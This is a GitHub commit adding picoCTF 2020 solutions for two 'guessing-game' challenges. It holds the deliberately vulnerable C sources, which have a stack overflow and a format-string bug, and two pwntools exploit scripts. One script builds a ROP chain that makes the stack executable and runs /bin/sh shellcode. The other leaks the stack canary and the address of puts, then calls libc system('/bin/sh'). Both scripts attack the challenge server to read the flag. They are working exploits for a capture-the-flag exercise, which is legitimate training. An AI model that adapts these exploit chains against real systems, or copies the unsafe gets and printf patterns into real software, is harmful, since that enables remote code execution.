Skip to content

Commit 1d48f89

Browse files
committed
[writeup] add picoctf 2020 (part)
1 parent 634dcae commit 1d48f89

File tree

14 files changed

+723
-0
lines changed

14 files changed

+723
-0
lines changed

picoctf-2020/guessing-game1/Makefile

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
all:
2+
gcc -m64 -fno-stack-protector -O0 -no-pie -static -o vuln vuln.c
3+
4+
clean:
5+
rm vuln
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
import os; os.environ["TMPDIR"] = os.path.join(os.environ['HOME'], 'tmp')
2+
import pwn
3+
from ctypes import CDLL
4+
#from struct import pack
5+
6+
host = "jupiter.challenges.picoctf.org"
7+
port = 51462
8+
target = "./vuln"
9+
10+
11+
def must_guess(pr):
12+
13+
res = 0
14+
while res != 1:
15+
for num in range(1, 100):
16+
pr.sendlineafter("What number would you like to guess?\n", str(num))
17+
res = pr.readline()
18+
if res != b'Nope!\n':
19+
print('the num is', num, res)
20+
res = 1
21+
break
22+
23+
def attack(remote):
24+
pr = None
25+
if remote:
26+
pr = pwn.remote(host, port)
27+
else:
28+
pr = pwn.process(target)
29+
30+
try:
31+
libc = CDLL('libc.so.6')
32+
num = (libc.rand() % 100) + 1
33+
pr.sendlineafter("What number would you like to guess?\n", str(num))
34+
#must_guess(pr)
35+
36+
elf = pwn.ELF(target, False)
37+
rop = pwn.ROP(elf)
38+
payload = b'A'*120
39+
payload += pwn.p64(rop.find_gadget(['pop rdx', 'ret']).address)
40+
payload += pwn.p64(elf.sym['__stack_prot'])
41+
payload += pwn.p64(rop.find_gadget(['pop rax', 'ret']).address)
42+
payload += pwn.p64(7) # PROT_READ|PROT_WRITE|PROT_EXEC
43+
payload += pwn.p64(0x0000000000419127) # can't find this gadget in pwn, using result from ``ROPgadget --binary ./vuln``
44+
# 0x0000000000419127 : mov qword ptr [rdx], rax ; ret
45+
payload += pwn.p64(rop.find_gadget(['pop rdi', 'ret']).address)
46+
payload += pwn.p64(elf.sym['__libc_stack_end'])
47+
payload += pwn.p64(elf.sym['_dl_make_stack_executable'])
48+
payload += pwn.p64(0x0000000000451974) # can't find this gadget in pwn, using result from ``ROPgadget --binary ./vuln``
49+
# 0x0000000000451974 : push rsp ; ret
50+
51+
shellcode = b"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
52+
#shellcode = pwn.asm(pwn.shellcraft.i386.linux.sh())
53+
payload += shellcode
54+
print('payload:', payload, 'len:', len(payload))
55+
56+
pr.send(payload)
57+
pr.readuntil("New winner!\nName? ")
58+
pr.sendline()
59+
print(pr.readline())
60+
#pr.interactive()
61+
pr.sendline("cat flag.txt;")
62+
print('flag:', pr.readall(timeout=2).decode())
63+
64+
65+
except Exception as e:
66+
print(e)
67+
finally:
68+
pr.close()
69+
70+
attack(True)

picoctf-2020/guessing-game1/vuln

830 KB
Binary file not shown.

picoctf-2020/guessing-game1/vuln.c

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <unistd.h>
4+
#include <sys/types.h>
5+
#include <sys/stat.h>
6+
7+
#define BUFSIZE 100
8+
9+
10+
long increment(long in) {
11+
return in + 1;
12+
}
13+
14+
long get_random() {
15+
return rand() % BUFSIZE;
16+
}
17+
18+
int do_stuff() {
19+
long ans = get_random();
20+
ans = increment(ans);
21+
printf("%d\n", ans);
22+
int res = 0;
23+
24+
printf("What number would you like to guess?\n");
25+
char guess[BUFSIZE];
26+
fgets(guess, BUFSIZE, stdin);
27+
28+
long g = atol(guess);
29+
if (!g) {
30+
printf("That's not a valid number!\n");
31+
} else {
32+
if (g == ans) {
33+
printf("Congrats! You win! Your prize is this print statement!\n\n");
34+
res = 1;
35+
} else {
36+
printf("Nope!\n\n");
37+
}
38+
}
39+
return res;
40+
}
41+
42+
void win() {
43+
char winner[BUFSIZE];
44+
printf("New winner!\nName? ");
45+
fgets(winner, 360, stdin);
46+
printf("Congrats %s\n\n", winner);
47+
}
48+
49+
int main(int argc, char **argv){
50+
setvbuf(stdout, NULL, _IONBF, 0);
51+
// Set the gid to the effective gid
52+
// this prevents /bin/sh from dropping the privileges
53+
gid_t gid = getegid();
54+
setresgid(gid, gid, gid);
55+
56+
int res;
57+
58+
printf("Welcome to my guessing game!\n\n");
59+
60+
while (1) {
61+
res = do_stuff();
62+
if (res) {
63+
win();
64+
}
65+
}
66+
67+
return 0;
68+
}

picoctf-2020/guessing-game2/Makefile

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
all:
2+
#gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c
3+
gcc -m64 -no-pie -Wl,-z,relro,-z,now -o vuln64 vuln.c
4+
5+
clean:
6+
rm vuln
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
import pwn
2+
from ctypes import CDLL
3+
#from struct import pack
4+
5+
host = "jupiter.challenges.picoctf.org"
6+
port = 13775
7+
target = "./vuln" # https://jupiter.challenges.picoctf.org/static/119f0f0370aa220585b906b2e4a8f98b/vuln
8+
9+
def must_guess(pr):
10+
for i in range(-4096, 4096, 1):
11+
if i == 0: continue
12+
pr.sendlineafter("What number would you like to guess?\n", str(i))
13+
res = pr.readline()
14+
if 'Nope' not in res.decode():
15+
print(i, res)
16+
break
17+
return i
18+
19+
def test_canary(pr):
20+
num = None
21+
for i in range(2, 200):
22+
if num is None:
23+
num = must_guess(pr)
24+
else:
25+
pr.sendlineafter("What number would you like to guess?\n", str(num))
26+
pr.readline()
27+
pr.sendlineafter("New winner!\nName? ", 'XXX %{}$lx'.format(i))
28+
print(i, pr.readline())
29+
30+
def find_canary(pr, num):
31+
pr.sendlineafter("What number would you like to guess?\n", str(num))
32+
pr.sendlineafter("New winner!\nName? ", '%{}$lx'.format(119))
33+
return int(pr.readline().decode().split(':')[1].strip(), 16)
34+
35+
def find_symbol(pr, canary, num):
36+
elf = pwn.ELF(target, False)
37+
payload = b'A' * 512 + pwn.p32(canary) + b'B'*12
38+
payload += pwn.p32(elf.plt['puts'])
39+
payload += pwn.p32(elf.sym['win'])
40+
payload += pwn.p32(elf.got['puts'])
41+
pr.sendlineafter("What number would you like to guess?\n", str(num))
42+
pr.sendlineafter("New winner!\nName? ", payload)
43+
pr.readline()
44+
pr.readline()
45+
return pwn.u32(pr.readline()[:4])
46+
47+
def get_shell(pr, canary, sys_addr, binsh_addr):
48+
elf = pwn.ELF(target, False)
49+
payload = b'A' * 512 + pwn.p32(canary) + b'B'*12
50+
payload += pwn.p32(sys_addr)
51+
payload += pwn.p32(elf.sym['win'])
52+
payload += pwn.p32(binsh_addr)
53+
"""the rop way
54+
rop = pwn.ROP(elf)
55+
rop.call(sys_addr, [binsh_addr])
56+
payload += rop.chain()
57+
"""
58+
print('payload:', payload)
59+
pr.sendafter("New winner!\nName? ", payload)
60+
pr.sendline()
61+
print(pr.readline())
62+
print(pr.readline())
63+
pr.sendline("cat flag.txt;")
64+
print('flag:', pr.readall(timeout=2).decode())
65+
#pr.interactive()
66+
67+
def attack(remote):
68+
pr = None
69+
if remote:
70+
pr = pwn.remote(host, port)
71+
else:
72+
pr = pwn.process(target)
73+
74+
try:
75+
"""find canary"""
76+
num = must_guess(pr)
77+
canary = find_canary(pr, num)
78+
print('canary:', hex(canary))
79+
80+
"""find address of puts, call puts to print the address of itself"""
81+
puts_addr = find_symbol(pr, canary, num)
82+
print('puts @', hex(puts_addr))
83+
84+
"""get shell"""
85+
# symbol address from https://libc.blukat.me/d/libc6-i386_2.27-3ubuntu1.2_amd64.symbols
86+
libc_base = puts_addr - 0x673d0
87+
sys_addr = libc_base + 0x3cd80
88+
binsh_addr = libc_base + 0x17bb8f
89+
print('sys @', hex(sys_addr), 'binsh @', hex(binsh_addr))
90+
get_shell(pr, canary, sys_addr, binsh_addr)
91+
92+
except Exception as e:
93+
print(e)
94+
finally:
95+
pr.close()
96+
97+
attack(True)

picoctf-2020/guessing-game2/vuln

7.41 KB
Binary file not shown.

picoctf-2020/guessing-game2/vuln.c

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <unistd.h>
4+
#include <sys/types.h>
5+
#include <sys/stat.h>
6+
7+
#define BUFSIZE 512
8+
9+
10+
long get_random() {
11+
return rand;
12+
}
13+
14+
int get_version() {
15+
return 2;
16+
}
17+
18+
int do_stuff() {
19+
long ans = (get_random() % 4096) + 1;
20+
int res = 0;
21+
22+
printf("What number would you like to guess?\n");
23+
char guess[BUFSIZE];
24+
fgets(guess, BUFSIZE, stdin);
25+
26+
long g = atol(guess);
27+
if (!g) {
28+
printf("That's not a valid number!\n");
29+
} else {
30+
if (g == ans) {
31+
printf("Congrats! You win! Your prize is this print statement!\n\n");
32+
res = 1;
33+
} else {
34+
printf("Nope!\n\n");
35+
}
36+
}
37+
return res;
38+
}
39+
40+
void win() {
41+
char winner[BUFSIZE];
42+
printf("New winner!\nName? ");
43+
gets(winner);
44+
printf("Congrats: ");
45+
printf(winner);
46+
printf("\n\n");
47+
}
48+
49+
int main(int argc, char **argv){
50+
setvbuf(stdout, NULL, _IONBF, 0);
51+
// Set the gid to the effective gid
52+
// this prevents /bin/sh from dropping the privileges
53+
gid_t gid = getegid();
54+
setresgid(gid, gid, gid);
55+
56+
int res;
57+
58+
printf("Welcome to my guessing game!\n");
59+
printf("Version: %x\n\n", get_version());
60+
61+
while (1) {
62+
res = do_stuff();
63+
if (res) {
64+
win();
65+
}
66+
}
67+
68+
return 0;
69+
}

0 commit comments

Comments
 (0)